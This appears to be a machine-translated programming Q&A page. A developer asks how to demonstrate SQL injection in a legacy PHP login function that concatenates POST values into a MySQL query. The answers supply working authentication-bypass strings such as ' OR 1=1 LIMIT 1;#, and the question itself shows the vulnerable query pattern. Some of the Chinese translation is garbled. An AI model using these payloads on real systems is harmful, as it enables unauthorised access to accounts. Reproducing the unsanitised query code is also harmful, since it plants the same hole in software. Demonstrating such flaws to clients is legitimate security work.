我收到了一个完全没有用户输入清理的旧应用程序,并且容易受到sql注入攻击。为了证明情况的严重性,我需要给客户一个例子,比登录过程更能吓唬他。我已经尝试过标准技术,但它们的问题是它们返回多行,并且由于代码的性质,它返回错误而不是登录。我应该注入什么sql以便只返回一行执行到达"返回$ access"为了传递这个"访问"的价值。调用此登录函数的代码列。请求是通过POST方法进行的,并且魔术引号在服务器上关闭。如果您需要任何其他信息,请与我们联系。
function login($username, $pw)
{
global $dbname, $connection, $sqluser, $sqlpw;
$db = mysql_connect($connection,$sqluser,$sqlpw);
mysql_select_db($dbname);
if(!($dba = mysql_query("select * from users where username = '$username' AND password = '$pw'"))){
printf("%s", sprintf("internal error5 %d:%s\n", mysql_errno(), mysql_error()));
exit();
}
$row = mysql_fetch_array($dba);
$access = $row['access'];
if ($access != ''){
return $access;
} else {
return "error occured";
}
mysql_close ($db);
}
注意:事实证明magic_quotes_gpc已打开且php版本为5.2.17
由于
答案 0 :(得分:2)
从目标查询开始:
SELECT *
FROM users
WHERE username = '' OR '1'='1'
AND password = '' OR 1=1 LIMIT 1;#'
我们得到的用户名是'或者' 1' =' 1,密码是' OR 1 = 1 LIMIT 1;#
答案 1 :(得分:1)
它取决于调用login
函数的值。如果在将其传递给功能之前有卫生设施,那么它实际上可能是安全的。但是,最好在查询之前对其进行过滤,以便您可以看到构建的查询是安全的。
但是,如果你有这样的事情:
login($_POST['user'], $_POST['pass']);
在这种情况下,只需将foo' OR 1=1 OR '
放在登录表单的用户字段中:)